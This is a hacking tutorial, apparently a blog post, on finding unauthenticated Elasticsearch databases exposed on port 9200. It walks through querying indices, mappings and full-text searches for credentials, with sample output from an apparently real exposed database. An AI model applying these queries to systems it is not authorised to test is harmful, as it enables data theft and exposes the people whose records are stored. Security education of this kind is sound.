Elastic Search

Slack Group

Before we get started I have started a slack group dedicated to hacking. We welcome everyone from beginner to advanced to join. I will be on everyday answer questions, doing CTFs, and talking about cool hacks. If you enjoy hacking and are looking for like minded people join below:

NEW Hacking Group Slack Channel

Introduction

You have probably heard of the popular relational database called Mysql. Elastic search like Mysql is a database used to hold and query information. However, elastic search is typically used to perform full text searches on very large datasets.

Elastic Search Basics

The definition from google describes elastic search as: “ES is a document-oriented database designed to store, retrieve, and manage document-oriented or semi-structured data. When you use Elasticsearch, you store data in JSON document form. Then, you query them for retrieval.”

Unlike Mysql which stores its information in tables elastic search uses something called types. Each type can have several rows which are called documents. Documents are basically a json blob that hold your data as shown in the example below:

{"id":1, "name":"ghostlulz", "password":"SuperSecureP@ssword"}

In Mysql we use column names but in Elastic Search we use field names. The field names in the above json blob would be id, name, and password.

In Mysql we would store all of our tables in a database. In Elastic search we store our documents in something called an index. An index is basically a collection of documents.

Unauthenticated Elastic Search DB

Elastic search has an http server running on port 9200 that can be used to query the database. The major issue here is that a lot of people expose this port to the public internet without any kind of authentication. This means anyone can query the database and extract information. A quick Shodan search will produce a tun of results as shown below:

Once you have identified that your target has port 9200 open you can easily check if it is an Elastic Search database by hitting the root directory with a GET request. The response should look something like:

{
  "name" : "r2XXXX",
  "cluster_name" : "elasticsearch",
  "cluster_uuid" : "wIVyutV-XXXXXXXXXX",
  "version" : {
    "number" : "5.6.1",
    "build_hash" : "667b497",
    "build_date" : "2017-09-14T19:22:05.189Z",
    "build_snapshot" : false,
    "lucene_version" : "6.6.1"
  },
  "tagline" : "You Know, for Search"
}

Once you know an endpoint has an exposed Elastic Search db try to find all the indexes(Databases) that are available. This can be done by hitting the “/_cat/indices?v” endpoint with a GET request. This will list out all of the indexes as shown below:

health status index            uuid                   pri rep docs.count docs.deleted store.size pri.store.size
yellow open   bookings         lz8yHxqbQuGEDijkdEozAA   5   1        524            0    303.5kb        303.5kb
yellow open   company          HMOFvOQDSiapSoI_QAsxzg   5   1          0            0       960b           960b
yellow open   geosys           _J9pwm4vSrWLhbo9pchzMg   5   1      61722            0     32.4mb         32.4mb
yellow open   article          J6UaQSS0RIaRrrokZ1V6lg   5   1        809            0        6mb            6mb
yellow open   service          SApBMxLLSEWWJOrQoF07Ug   5   1        591            0    433.5kb        433.5kb
yellow open   job_application  DSibZjaoQ-mU1MySC4zKrQ   5   1          2            0     16.7kb         16.7kb
yellow open   payment          az5VYu9tQAy41u2PIA-daw   5   1          6            0    142.1kb        142.1kb
yellow open   users            6kHqdkvOSx6dmXXIs_JGNg   5   1       1701          463      4.7mb          4.7mb
yellow open   articles         JKsFXGXfRXuUULpzjLuPLg   5   1          3            0     79.6kb         79.6kb
yellow open   invoice          bgXAHuOLSJaI-37eiBcRBw   5   1         18            0    272.3kb        272.3kb
yellow open   booking          zjbhkI4ZS8egwyuhweNY8g   5   1        545            1      1.7mb          1.7mb
yellow open   address          CKteiX6qRUCYWxkBZCe6Bg   5   1       6245            0        2mb            2mb
yellow open   job_post         qrzfzvvKT3uSOXIY3nzW6Q   5   1         36            0    344.6kb        344.6kb
yellow open   user             HZBWADUeST-pBY4c0L88Pw   5   1       2134           12      9.1mb          9.1mb
yellow open   job_applications B9dyKfW7TbeJppKu-4zpvA   5   1          1            0      8.2kb          8.2kb
yellow open   services         0cXzhBcoR8ecQMurouw6Qg   5   1        579            0      479kb          479kb
yellow open   addressables     ZM45C_69QXugOFLP-M16LQ   5   1       6245          745      2.4mb          2.4mb
yellow open   job_posts        _-nkfsW2TiKHLhTdSRmfuA   5   1         35            0     70.8kb         70.8kb
yellow open   invoices         PoNCOfg6QjSi0I7fPhPbBw   5   1         12            0     84.7kb         84.7kb
yellow open   user_services    bBwhZ0eDTAeqS5AID8Z-2g   5   1       1384          298      1.7mb          1.7mb
yellow open   user_service     _c75afkpQVWjyeWHQUoMDw   5   1       1485           22      1.2mb          1.2mb
yellow open   payments         de4kC0k-RfuoypmE19cLRw   5   1          6            0    114.8kb        114.8kb

This information along with other details about the service can also be found by querying the “/_stats/?pretty=1” endpoint.

To perform a full text search on the database you can use the following command “/_all/_search?q=email”. This will query every index for the word “email”. There are a few words that I like to search for which include:

  • username
  • user
  • email
  • password
  • token
  • secrete
  • key

If you want to query a specific index you can replace the “_all” with the name of the index you want to search against.

Another useful technique is to list all of the field names by making a GET request to the “/INDEX_NAME_HERE/_mapping?pretty=1” endpoint. I typically search for interesting field names such as:

  • username
  • user
  • email
  • password
  • token
  • secrete
  • key

The output should look something like this:

{
  "address" : {
    "mappings" : {
      "_default_" : {
        "properties" : {
          "text" : {
            "type" : "text",
            "fields" : {
              "raw" : {
                "type" : "keyword"
              }
            }
          }
        }
      },
      "addressables" : {
        "properties" : {
          "addressable_id" : {
            "type" : "long"
          },
          "addressable_type" : {
            "type" : "text",
            "fields" : {
              "keyword" : {
                "type" : "keyword",
                "ignore_above" : 256
              }
            }
          },
          "city" : {
            "type" : "text",
            "fields" : {
              "keyword" : {
                "type" : "keyword",
                "ignore_above" : 256
              }
            }

We can see we have the field names addressable_type, city, and much more which isnt displayed as the output was to large.

To query all values that contain a specific field name use the following command “/_all/_search?q=_exists:email&pretty=1” . This will return documents that contain a field name(column) named email as shown below:

{
  "took" : 12,
  "timed_out" : false,
  "_shards" : {
    "total" : 110,
    "successful" : 110,
    "skipped" : 0,
    "failed" : 0
  },
  "hits" : {
    "total" : 7772,
    "max_score" : 1.0,
    "hits" : [
      {
        "_index" : "address",
        "_type" : "addressables",
        "_id" : "19",
        "_score" : 1.0,
        "_source" : {
          "id" : 19,
          "addressable_id" : 55,
          "addressable_type" : "FHMatch\\Models\\User",
          "lang" : "en",
          "address1" : null,
          "city" : "Alpharetta",
          "state" : "GA",
          "postal" : "30004",
          "country" : "US",
          "lat" : "REDACTED",
          "lon" : "REDACTED",
          "email" : "[email protected]",
          "phone" : "REDACTED",
          "website" : null,
          "timezone" : "America/New_York",
          "currency" : "USD",
          "privacy" : null,
          "meta" : null,
          "created_at" : "2017-09-26 19:42:02",
          "updated_at" : "2017-09-26 19:42:02",
          "deleted_at" : null
        }
      },

Again you can replace “_all” with the name of a index to perform searches specifically against that endpoint.

Conclusion

Elastic Search is just another database where you can store and query information. The major problem is that people expose the unauthenticated web service to the public. With unauthenticated access to to the web service attackers can easily dump the entire database.